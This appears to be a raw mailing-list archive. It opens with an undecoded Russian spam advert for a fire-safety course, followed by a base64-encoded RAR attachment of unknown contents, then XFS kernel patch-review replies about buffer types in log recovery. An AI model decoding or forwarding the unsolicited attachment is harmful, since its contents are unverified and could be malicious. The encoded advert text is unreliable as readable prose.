=CF=D0=CE=D2=C8=C2=CE= =CF=CE=C6=C0=D0=CD=DB=C9 =D0=C5=C6=C8=CC
 
=D1=F0=E5=E4=E8 =F2=E5=EC:
 
=95=CD=EE=F0=EC=E0=F2=E8=E2=ED=EE-=EF=F0=E0=E2=EE=E2=EE=E5 =F0=E5=E3= =F3=EB=E8=F0=EE=E2=E0=ED=E8=E5 =E2 =EE=E1=EB=E0=F1=F2=E8 =EF=EE=E6=E0=F0=ED= =EE=E9=20 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8.
=D2=F0=E5=E1=EE=E2=E0=ED=E8=FF =D4= =E5=E4=E5=F0=E0=EB=FC=ED=EE=E3=EE =E7=E0=EA=EE=ED=E0 =B9=20 123-=D4=C7 =AB=D2=E5=F5=ED=E8=F7=E5=F1=EA=E8=E9 =F0=E5=E3=EB=E0=EC=E5=ED=F2= =EE
=F2=F0=E5=E1=EE=E2=E0=ED=E8=FF=F5=20 =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8=BB.
=95=CF= =EE=F0=FF=E4=EE=EA =F0=E0=E7=F0=E0=E1=EE=F2=EA=E8 =E8 =F1=EE=E3=EB=E0=F1=EE= =E2=E0=ED=E8=FF =F1=EF=E5=F6=E8=E0=EB=FC=ED=FB=F5=20 =F2=E5=F5=ED=E8=F7=E5=F1=EA=E8=F5 =F3=F1=EB=EE=E2=E8=E9 (=D1=D2=D3).
=95= =D1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E5 =EF=F0=EE=E5=EA=F2=ED=EE-=F1=EC=E5=F2= =ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED=F2=E0=F6=E8=E8=20 =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF=EC =ED=EE=F0=EC =E2 =EE=E1=EB=E0=F1=F2=E8<= BR>=EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8. =CF=F0=EE= =F6=E5=E4=F3=F0=E0 =EF=F0=EE=E2=E5=E4=E5=ED=E8=FF=20 =FD=EA=F1=EF=E5=F0=F2=E8=E7=FB. =D2=F0=E5=E1=EE=E2=E0=ED=E8=FF =EA
=E4= =EE=EA=F3=EC=E5=ED=F2=E0=EC.
=95=CA=E0=EA=E8=E5 =F2=F0=E5=E1=EE=E2=E0=ED= =E8=FF =EF=F0=E5=E4=FA=FF=E2=EB=FF=FE=F2=F1=FF =EA=20 =E7=E4=E0=ED=E8=FF=EC =E8 =EF=EE=EC=E5=F9=E5=ED=E8=FF=EC =EF=EE =EF=EB=E0= =ED=E8=F0=EE=E2=EA=E5,
=EE=E3=ED=E5=F1=F2=EE=E9=EA=EE=F1=F2=E8, =EF=F3= =F2=FF=EC =FD=E2=E0=EA=F3=E0=F6=E8=E8,=20 =E4=FB=EC=EE=F3=E4=E0=EB=E5=ED=E8=FE, =F1=F0=E5=E4=F1=F2=E2=E0=EC =EE=E1=ED= =E0=F0=F3=E6=E5=ED=E8=FF =E8
=F2=F3=F8=E5=ED=E8=FF =EF=EE=E6=E0=F0=E0 = =E8 =E4=F0.
=95=CF=F0=E8=ED=FF=F2=E8=E5 =EC=E5=F0=20 =E4=EE =EF=F0=EE=E2=E5=F0=EA=E8 =EF=EE=E6=E0=F0=ED=EE=E3=EE =ED=E0=E4=E7=EE= =F0=E0. =CF=EE=F8=E0=E3=EE=E2=E0=FF =E8=ED=F1=F2=F0=F3=EA=F6=E8=FF =EF=F0= =EE=E2=E5=E4=E5=ED=E8=FF
=E2=ED=F3=F2=F0=E5=ED=ED=E5=E3=EE=20 =E0=F3=E4=E8=F2=E0 =EF=EE=E6=E0=F0=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1= =F2=E8.
=95=D2=E8=EF=E8=F7=ED=FB=E5 =EE=F8=E8=E1=EA=E8 =EF=F0=E8 =EF=EE= =E4=E3=EE=F2=EE=E2=EA=E5 =EA =EF=F0=EE=E2=E5=F0=EA=E5 =E8=20 =EC=ED=EE=E3=EE=E5 =E4=F0=F3=E3=EE=E5...
 
=CF=EE=EB=ED=E0=FF =EF=F0=EE=E3=F0=E0=EC=EC=E0 =EC=E5=F0=EE=EF=F0=E8= =FF=F2=E8=FF =E8 =F3=F1=EB=EE=E2=E8=FF =F3=F7=E0=F1=F2=E8=FF =F3=F2=EE=F7= =ED=FF=E5=F2=F1=FF =EF=EE =F2=E5=EB=E5=F4=EE=ED=F3:=20
 
+7 8I2 6=D7 2 .. 5 8 =E7I
 
=CF=EE =EF=F0=EE=F5=EE=E6=E4=E5=ED=E8=E8 =EA=F3=F0=F1=E0 =E2=FB=E4=E0= =E5=F2=F1=FF =F3=E4=EE=F1=F2=EE=E2=E5=F0=E5=ED=E8=E5 =F3=F1=F2=E0=ED=EE=E2= =EB=E5=ED=ED=EE=E3=EE=20 =EE=E1=F0=E0=E7=F6=E0!
------=_NextPart_001_1CF3_01CEA7A9.A22C31C0-- ------=_NextPart_000_1CF2_01CEA7A9.A22C31C0 Content-Type: application/octet-stream; name="__vlogenie__bezopasnost.rar" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="__vlogenie__bezopasnost.rar" UmFyIRoHAM+QcwAADQAAAAAAAADLmnQgkEAA5hkAAAB0AAACiMdQEIcoIkMdMxsAIAAAAF9fdmxv Z2VuaWVfX2Jlem9wYXNub3N0LmRvYwCwANsaGCGU0UiOIcASIid0mlNHURE0IHURQUEOn6D6A6BB NCo2tWqPRNSia1QojpBUVqg6LR2Dpq11DUdQqO0dhXVWtRWjoEEB2VqHzyZnRRBZMzAREbW3593+ H54zvkyaMk5pmjkk5MD/Jzk9nJ7OT2cnvnv1znJzsmSZmTpncPMzycvlWeg0mxWOsCxOcgHAVFSm gSrBNmhPaa6QfITWkpWH9IkZoSFSk18j1lHqN6C/41XOgBTKc7X2tEiZ6aZU/TqIIDCel1v8BBVX 1lVUDGqer5MuaKf3zZc+yAst1bapf3R0k7Ul94lgr4V20kwTxKlVaXeZajPfVWNhBEBTw/YRQmaR YIUGIysiZLquZGqkbmCEAjQ4gEgAjNXiC9rRC0oq88S4SoUYiKftgPhcu2IbJuRqv9cORWK6lWWk dcayZHL6ZBqRVIwZdLUTFjhGFxVkANjl4KxDaSf8rkar/WBjhWyDoq5CVgJP0Lyx75jrrs5rS79Y yep5JoqcsF1PMMKNMrlYXxPy8LBd7O6FChMu7SN5RULFVGAQe6rijJZ+wDf/lcMJJsrrJjEWCyLm 7DbOww/2u/tvDyPyhpdLV//YnSLHyeCJM11q7HD/b7ye2wCD5Mtk3f7XfFAx5ymAWaY7doJTcK/y eApi8jUsfPziPQoDqE66C/OAoXU6iOth1mFFaRS3kXlAB1MjtwFACwL0tx1sMn0RIynXIqjcRTr4 FzIdoOvB18qhvF5exBl0K9bcJ7WSV1LqlV9sKqHIUesrdzrTYPSOdH5bzKNEUKm4VAxezMFW2c64 kDoSEptFPuRLthXtrKuyQLAXool+v3ZIXUkLpDQI2HAVQ7FENvMHT2V63QwwDAx1QwS5COpxFHRC rDVXlEstuopt3IrGXTUVRITKQ0CjsYkbXCkrrDvh11MSSM8oiqQWdZZ0jmxpjYQKsqM8DpIyDWPa zrkUKK1dAQVbdyBnMsLLJpxKMgZcNxR9PnvChoSV1fcSkcIipsaUlipCUhbYkEPwEJtFMsp1pKIL mVdA419gBkj22rp1sF6fT3YkLuiGVNX2WvNSKvODQS7rX2wLuV++gbSYktwr0CaTEqdjJKRD/VvK 0UhRd9gd8Y6O5FAv1izFBguqRFHVWdb6+6su7IfrZjLeW8o1CAf8yCF2ysFC8YnQyFWt3iwWprR0 JV8LiUmtVtgg37BQM4EAP+pyYkTAJ7EHmpxC0FmDoiCZDpwj0N1EpgA6kl1C7hvAXsN6C/BvoYgM UHEBygftDLhzIc4HPB0AdEGZD4qL0vXDQUXR5pEcCbDNa3m0QP/vuSlWFzOIxZULDBcchLlphXt/ 34C5LSmY52eEAHx4OgvIno3hB7vePyThEA6nBv5CUjmEGH5cm+Jho4J6iXWaxxwgSICpYRL4Z2w0 S0Ay3UOmkK/JxdwGNFbhTs5dubmRR4C+h+gNk2q97cXe/8nIog0BFn7f8/p5hNnK+NTZNv/De9mj 4FD0xxeNW+BVk9QNPvCTIBetoKtGgI/WZXC/hWZU4GmqhU09WYSBHb5TFICdbwWa6mrIljt/AO11 KrKLx21Cya9YLKraTt0KyqbsUtSPOg21+ZBvKWBGobdSsxNlr93T/FmQnAFrEDzpVmxrCG4oTSJr KzGxhTqYokN7oVmVF5w/fzUOggppKVwSS8lEJ1sg0Dn3YUdvKACzgwAth32/207cCiYq25FDoanL qZoCS1CC1Q2kQC6mKUOhSGXWvORZku1eiVdocWWibgUvLLVS/8KnhcKJd1KU0Owfir+HoRUlo5RF VutRef6FWG6yjaqyNFZwCgL8dAoWKOM2WcpWNwK0JDSVc6bhCDCLkMjThsKVruBA1AaBRbkBpFN+ pZxT6hX/vn5xHesQGWXhTS5NY9jQTXCdLZNahKXZq9HLbLxB1eE+3TVYG1TXANqxIny5CAk18IQh CEIQhCEIQhI99BnVUCmLmO7MaUgJYm9oFU50fSqM4SaIjlakojIxBsPxapy/o9aTstVYDQq/IGvb fIUFVdCmiE7kFV/sT5qaOEwzEgurN7wUvlpCgDTBGwpHyRAFCFEF9DggxQcaGXD8WpGEsAroOiJM +2a/3gPz7Utgkavon+UKYJI1Yk+gOLDaxA2+PB4F5JH93NHcM7q52IDGhjgj63SIOaepNihT67s1 pLAtiYMnkvoFDadK7MFTgVQ0Nll8QVwbs8KpQYRihwxO333OoHRB36nSJBPMYHo+C0gWzGJBmr2J t3JGw7cymEWNkwaymNBCUGL6CGB4KnZChT1osAQpSlYCgV0Vp1qhlH0DBdT7fbV4xJONHPSgGk45 DlxDwplGOe9uI26aYwYVB4aneihAoVwaTgLRjEZdB9EiNlLGBmykEisKBskRoTUtIikcDZ1aA365 P15YsdTWseytSlOWbwIn4ZeG0Hv0AXBAg2a9Wnp9nJet1UwKZAiMZiRoYSJyKZhbiUyCnUfRBi5/ mtprUeEmVnbop5WtMN+5o2ROuoKhS0oLOa9WIhmBNqIy0BCKSFuKTN+AgEHS6a9WnqFoMAfZOtCp bV/cTamRv3Mh2U1cyEaUyKKvyAZsZKzpA6kPaSKKBTUpbimbwNnTeTGbtuIB3tKlgaxSoSHxYGUo Pp8CQIxS30olXk0+kCpX2MfHDNhJHxAw8nDvrlKKXTtgMflNzaBt3u1ixM2gN/domIjoL0z+/SEV BRuAY4/DQ+tzHGwm/Qn7p5MhUSfL2nRjNwwajo8nS3fEyTFPqSt++xuWElpRoTZ7q4mj2z7uEy5R 1tPwHJzsjfNfLdiZUVbNeB+7l8wMLkIGS7Gq1nh8/euE50LiyvpyTX9b4U3NYHodD6aHvKiG4Z38 KwuibXCsbDy1t0/6pa9IQ0la8dQrDfaN5i0WS7O0YO99vi4DvoKfgcvD+a42a59CZ+yT4jIhynDm pmm8/mT17G5yzX3WcNnR37Sz5/fUDFNXNCl4TF9tn6u05MB2KTFqkM5Sdq6PIOs879eC8TnRMnaS r/0VLW7S7dzr/XjOBbPRcunesKx5qNqObOS7GrMcxtZtH2Z3XOYsAqmpOWJF3Uc/U9reEDUaAVis v8ZBQ8ayMY/MpLcoSLKfkqXIbqT5kleZ/fq1uxDJqJd2ZNNJA6zBjIVdWems93pvnDSk6cTJTT0v k/FxqNflfN1s32kCrntWlb/ruznxoXrYhxncZj57IafU25Mv8fFZHTSPT2b/uX3maZw5DKs6h32i H7lNSlek+bm9a91geZPH594unTaIBexmpzEW/9BczmiV6BqvH5+JVvXQa8Fr5bVT1TsvYfx9E+b3 GbBiobodiGvN3iG/eA0mqZOxe91L6qC1fNW+Xs9t5uf6LKO5hZD71WTIMoAvOqjoWCw0EyWDy9I4 hHCQUYO4+T+O9J2/QH0XWktJiZfpNeDnGC6QH5cbXznjA7aBYdOHMz+j6fQoexJtfJ6qpzs+8qH1 MWgS1DKQXIY5Xa02KYtSs6r9He18Fih+tw7T2e5Hq09N5a0dW78SNvMlbedL5DXbPqIOfs2HnWyl YupgduvYRxyt2+nt/n5Lh17p3WG3pxtsssv0zuVbhbMS8zJrJemPpL2UZe6P6uVELN0Vp2206jpt 1tdjaG/LaZsvlH0VCbhtN0blRRe5W6V7Z5zZZ5XX/FrniWd0FzdLXqjv1tiBBesrtpuloHJ2mUzK c36aDP53ASK/+0vp8tM4/sn5GExnVqXPwciPoe/1JXSYBdXqGL6jC/sUhK8BypfzbNVItc5SWZ5W 8yncOS48feKL9pV3pe/RTlLraCCtOZlUEzLULNr5HSXqe7/66Dwo1fjZVwtjLuVmKs6M9LLuc7tm 3KXira1Nb/cblybpnOEt5SLOw/D6v24xYc1dcmVmTNeLJ7XPU8Syn1Nh/G1Yq3t2eb56V3eL2jm5 KzmtOa2uOE4l9XR77tcPI7SdvfPVIxez94mcBx6Jble94N0x7fWOHAmn6m0ve+7j6Nr2u4ZslMXt d/DL6TkczZ8h/eJhT8OJ7OWvFn8NvdeNSPFJP/xKTppC05XC7O/cj6JDfcoE1SydD9Ew4cp4kfx/ XiR/ZRePusVLB/jftXtvLa6nIK+hwuWuumvzzh9jeFDiYvXcegmHjK/ds5BLiUSq/6He/SsYXkdn SybWgyr/oN7tWTnKrCx/tjXW69jQq82ows5oYzRokrQYZU30wDdvzx1r2qQO/XunNypqW50NGsm+ xO2hTmOt8DfeYrfjeXVK6OSucT19UvsHPN07Nvdu14iemGd5vzVmd3M5PVyNKvq2Ug+LS0OapX9y kJRR8i4ud6pxUfU1HWqJb78w7bPHdhA+eLr9N8qPWal6Kft6y1KTkw8LjOFR0Fxy/mh7mp4KJg1P 4t3Kc3Py0lPvfAyOX8eicSz1M046RkI+Yutz0vdgVLDeBMT2fAxbSvuMW1ZSIlYbRQFyUV7L7H77 1vJ3UOqXJSUp9SwtXaWSotxj3lE33A3gVf9otU70pAaqFx376xH+4GtthFBjTt1FXzjcXb7dv+2T gOtAZzh4bB7m/r05k8Gv7vXIzck0vLzw6aDd7W07VWy9pUXe8Kk/S+VRth7n9T8ObT923+I9MYqZ 5eGyixnFXcad5kXtqesm1Qp2LV7T0k+nxGK2UhZmlsYfy+zQ0e4d9UncdOzdKp9nbU6ct3G12nY0 fXlaFaxahrJp3nuS7+WQ+t5uMrHIla7a5yzH5SvZyIJGNdJ3KaSTtORks1ll21XBU6lw68goRuiu 2v8Ghg5XTadM6eki/ZTu1/EoLoy/p19Wmbue6idzOUfS7WuLPev+bbOs5bdZ/XT47TT7Q6eHP6Tl 7GU59JHUErwsZ0Mur5DFw8bQfz+jK0bztP7kxcTWtezs+w3uifn5NWbt+lLF7bTPW1nrpo935nHE rSl2LkbhnKcp9zhtvE3/X+TRxO34fO8EMs0k3tXXp86Nk1rM8jiWvQ/ZALb7wm7CcDiNMNkYNN89 1nVDK56WbX3Mz2TuKb1sL+naWvrQTWkdMfrFL2/t9se8FQMcjnrugvfPx1zTZiKpmfjZDctK3kcR BS2WvklMzXodIDZz3nxEg6MkJ2sj7D9l5zvZms8m37lp72ww/WvXFVOPi7Sjgtdzfx1H3ZbCfh4m 2ft9vdrxCPUnwcm1o0Doh4WNmLV1nfYXTfuh5nn+hi9rIxaqq2jIeBPzCfF6PTss/iOVwtVD4/N0 OU27bjf1uErmHI7oqDZ6Cbz0H51ife7Rp9ztuKy9f8u3unvN/kn6K63foU+YjIGL3bZ9X2+OiwOu bn/xS8tmtw141nY8VllOV3HNZ0EGa/W3eZ46M257HOPX3Pmm+rjJ8blZlP6Ctz6VnSm+SQWe9a7B q/6c1DsJ9UwWx++B8Wj2GPv/K4wM/3NhM8HfKa9v538D3l5ihcldPldh397yddC9XpcOb+7v6Rd0 to8fkfZZQ4LVkabuvx6R/h+318yHcTP4Nd7pTe15DDtW3U3SYneozNk5l/qU+vN9SiU+Rcelvnpa fI5C+Nvi3m0deplouEa+Dm/5bc7mXzsVOduH2OeOz8nkN3l8apNc6btuA2GHlrNaYztut3d/RtMa 6b7wqPEVdtrMh0Jd+iqmHcj3S52j2nZYlK98+KA/dNoRY/fYvTurpWBm7dmpJfQsOpkZiCnr1dbf poyi4vA1fUts5KYfDqX182RnMk6u+H/N6n2rBRV28HKknth1Vq7dsX3+Je1LO0e62iVUdye4aqzq 1D40bPy4Go0eqvs1rL99jtoqTdSDt4cr3M5fJ7Vm5Sh2mPv1+8ew1W+V9rfunsYNi0Wwg+K6KkJc sjwZ5Fm956FKfqcFU6bfQnjmE/daTEeZq8P0HXO5wsHLtUvzrVR0GOjpObyriraCj0r1b+Rxdw1L Whm+h+XI/jQL/Uyf623k8/PaG3/tCR3jgWyN4Lbs4/Rcl7caPy/pr1ru4SVo+Yp5DUOmImmXHMs7 j6HGajr7pvP9vD7alXGa3PTNvfZ+b3/b6TLhwcGJtyxP86dBZKu4ocyX0e0FFWRLDa+k2l6J7Y10 jNFdek7fIVSU8mPxKZExP57g/mLf1JXl67mnJT92lQanNevNHSKGvYkxjySPd52GnJjQz1owbN+z LC6tYTG7ufdF57e4bbUeXRXpVe8n0m+BmsFj8vEtdJaYTMPLA9W9evTAxsucjFFfeM1oOXlH7zY3 Xtmmlvo/dd034OnEnOW7+TDyUzT581iuCvbqAPyPOAr/e+56p2XobFjJwjIuKuAqLy6RvSyB5g0v C49Bbc/q7wd4t/3G44HVrz+mjdyB8fVe/fdZGrNWMGLHpz1VUwmve072x15Y9I+qqlQ3/XpLtjBV j0VVVVzEmJlskAsdw1VVbhN+WuOa1Q8P670eF+wAgc2acQzg5i96DEVh42GiYhxXa35CuoIKIwcT Aw0RCVevj9dbk2esI2OrS4FHD1gIL1lIQUauubkoJzgjbsHDxlbJFIBAxERrcj9dQsdHRTcyMkbg xD+jjWOJiq0gXrg4mMq7HClRkIyQMYjxIg89aMjMhQtTJ63q5WuwEIy1m4eOZasx0eQQOFD6zZiG ZgkhKJEeDwYraxUgyJXTLMGvoGcmWcLQFoC0haQtQWohQsP7GcK4rpUFXfaFDu5cxXRV1kcho7XT hV1KpYPldimgJRj00gTyK2MjCy+761lKsEdLIFIlUzYQ6VTD4wk2mFfUaNWB45aIC3TnyiAURQMb 6QHkSI+IGDdNmQ1ZTKZMrq6OjDw5TIShYO0zAVPptMfB8Lq1xOKqR8QfPGUbqQKZk+MCAokq9gs1 MtkE7VFaPxjRRGxeawZ04NBpzOFdyZs9MdKFZbpEkyQZ8UxzTQB/YXBv8JFPEHyEHlD/AfOH0BqA oBJlbSRLBawnSPhsyEmoaLReHfSFGpzf+cSWyCuEzxXOOfiis8kf2nTDbo2NUpn5kqVKx/j5SCLV YE+IUxDm0nwFcNes8pnKgfDeMEKF8eK0+8ifEsAMlCjpqVdxpM/zTFA1LkYFch5k8RHqyYTCD0+B ILEDkSAjeLIuKTCY9Wk4dSRvlg0iswUiJg0QGiLtr/Ybk+okwkSTq0B8iCUT0Zq0JISJJ0caqpIS JJ1X1XIglE847zwFgcV9/waMjjhFxpPsfOnBPPBNfEjnS8hJSq1Qjr4zL7F8UZF8XaF8ChhJaqK7 DdG4YoqURrGl4/g3gQcErIsDjmwGTYCSuW6nzRebevpYrHCf9xX/bPfARAMKJ8SDEgiCp2wfanfc b4Yf1NTY441hV2W5c17KjZtKOHva4bOHam4goHSPBvE2uADCcvwuYPYYEECNFyVp7FDiQ3oESKbR iHXpGkQDWrnj3qDSWlGzyWZX9hzX2NSNewSAqiAFWocUlnYyh3Zko6bG4l3YjC6AjBDaMqoeVtiI Y8Qq208SZL3+7G9GRR1BEi/YUwqPZa+CrcCBAIiI4EgKP7Q/SNZZ91pJIlHBDZsFBUnQIq8CJo7A RlFyWRIqkssqR4Zekkdap1oESSSbK2mGMrSRNNecxDwdSDGDrX/BA3lwSfEkPyQhTEt+kb1EpKgE 7Sb/pBDCOqEBAmQxoptzcShwlnE32U+y078ZNCRVtuHKKmCBGV9sEidLJRQvAdSOSs+9C8xw/4N4 XRYLzKmSqsCm4Buuxd/n4VbUylnV18vB9Hg/RVUY8JaydZE5Lnvgna5BFn9fUx+wLR/PziPr1CVE HZsHpcdjlNDVbKczQQqul7q/Os0neR2RTAfz6PjWVJjvfSGTaapUjSYvPpC7B0rOeYz4rys14KgZ gWS62WQzDp+1l6pwkiPMeTMyeGJqZklXKYh0r49wL5N2L7e5ZHxz5AQ6AJbjhV+cfXwpMR8zWPy0 Fp4EmvkeQqBLHiUa+HAAdnmgyGj7/mfIU/rMwmAYV/ZdJCZoj1dlHZUy//lzNAObM0Ed4ZlfeOAv Zt9EzQaozNpV5SBTHRGi1zleNF3HyEUKgFwCohdwqQX0wYvpJaA4IzQdjwfVszffKLvUnfoKLv+d uQMDYys1wQNTQzIGlsQM4719bMJILBHRx0f8E+MgPY92TDscDEx2GsqiZyKKxA9Q2DjImNiYOOQP kHB1bgkH01nIErbUidP3fCgqpjMXpdBqOSaId9vKmL+MNnDEgrlB04Zn/DgPn5wQhCEIQhCEISO+ /p3+zfO5HO0DGsn81MEDF5teQx0zfSJaFKaFwvdbPEGKM4e/KEFnJPtDag5sNmDoDOIc6cgtAdaY zrs2SKAdyZvgdcHv79ddvoHDBGw7zVPX7zCfXt/r4sK2fLqVj+rgJp58sdrZnBV8ig7XXoKTt0Ne Pfz84IQhCEIQhCEJHvTO4tHDN7E8ZvwJZjewml9c9i/08E8zfRUTN/k+Zv4qZnvVCC0mb9FUysQK 5m9msmN6K0ZvWlwgQVRbArobaYAW4gt4V8LAG4BuIWEz33IvupbIQIS+6ssxjeTVN6BPajI5M/Pz iOG9D7B6jhWCugIgUMYCQBVfUqgPGq4CH3xhNL4kW8DdUlsHwB/5xpsM69tIXMfUP6MH+1ycA2as JjATk2b3dhPMo+w/YAvsj+q/goiGzRmDBOdaCDDF/3939Ik9xgIEFzFDgwYcfafI7A/KuWBDZszF knOSMxjxXiqm9lDkXZfg7dXcQ7gyiQOZ9g8MCJJCeBg/0J2vEVnvgPr/GQ2xIHTD18qNsRFZofaD la3FAfBXCcID/K5TH3F9/jPaRpABH6P9I2TJn++2Tr5GqmhW9nE4u6Cx52hrgcDvUXgo6Gk76Cye t3kDa13JmQoWcrQWXq9jmrnE4MrCocdjFIw+GgoiOY2wHhbfyiwfPziPH//kxD17AEAHAA== ------=_NextPart_000_1CF2_01CEA7A9.A22C31C0-- From BATV+3be8aca3035e97e5ccf9+3662+infradead.org+hch@bombadil.srs.infradead.org Mon Sep 2 03:16:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E391E7F52 for ; Mon, 2 Sep 2013 03:16:31 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C3A318F804C for ; Mon, 2 Sep 2013 01:16:28 -0700 (PDT) X-ASG-Debug-ID: 1378109785-04cbb02c3bcd1e60001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id BZbIFCiyOR0q1eqS (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Sep 2013 01:16:26 -0700 (PDT) X-Barracuda-Envelope-From: BATV+3be8aca3035e97e5ccf9+3662+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VGPJB-0002uw-Oj; Mon, 02 Sep 2013 08:16:25 +0000 Date: Mon, 2 Sep 2013 01:16:25 -0700 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: set remote symlink buffer type for recovery Message-ID: <20130902081625.GA11210@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: set remote symlink buffer type for recovery References: <1378081921-18570-1-git-send-email-david@fromorbit.com> <1378081921-18570-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378081921-18570-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1378109786 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140104 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Sep 02, 2013 at 10:32:00AM +1000, Dave Chinner wrote: > errors, and subsequent reads of the symlink failing CRC > verification. Found via fsstress + godown. Can you make sure xfstests triggers this case, please? > + xfs_trans_buf_set_type(tp, bp, XFS_BLFT_SYMLINK_BUF); > xfs_trans_log_buf(tp, bp, 0, (buf + byte_cnt - 1) - > (char *)bp->b_addr); Looks good, Reviewed-by: Christoph Hellwig From BATV+3be8aca3035e97e5ccf9+3662+infradead.org+hch@bombadil.srs.infradead.org Mon Sep 2 03:17:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 788C97F53 for ; Mon, 2 Sep 2013 03:17:30 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 15E01AC002 for ; Mon, 2 Sep 2013 01:17:26 -0700 (PDT) X-ASG-Debug-ID: 1378109845-04cbb02c3ccd1f70001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 0aB2pkNYwT8pIFmo (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Sep 2013 01:17:26 -0700 (PDT) X-Barracuda-Envelope-From: BATV+3be8aca3035e97e5ccf9+3662+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VGPK9-0002wH-KQ; Mon, 02 Sep 2013 08:17:25 +0000 Date: Mon, 2 Sep 2013 01:17:25 -0700 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/2] xfs: ensure we copy buffer type in da btree root splits Message-ID: <20130902081725.GB11210@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/2] xfs: ensure we copy buffer type in da btree root splits References: <1378081921-18570-1-git-send-email-david@fromorbit.com> <1378081921-18570-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378081921-18570-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1378109845 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140104 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Sep 02, 2013 at 10:32:01AM +1000, Dave Chinner wrote: > From: Dave Chinner > > When splitting the root of the da btree, we shuffled data between > buffers and the structures that track them. At one point, we copy > data and state from one buffer to another, including the ops > aasociated with the buffer. When we do this, we also need to copy > the buffer type associated with the buf log item so that the buffer > is logged correctly. If we don't do that, log recovery won't > recognise it and hence it won't recalculate the CRC on the buffer > after recovery. This leads to a directory block that can't be read > after recovery has run. > > Found by inspection after finding the same problem with remote > symlink buffers. It would be great to find a way to trigger this in QA as this shows another area lacking coverage. From BATV+3be8aca3035e97e5ccf9+3662+infradead.org+hch@bombadil.srs.infradead.org Mon Sep 2 03:18:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 396707F55 for ; Mon, 2 Sep 2013 03:18:46 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by 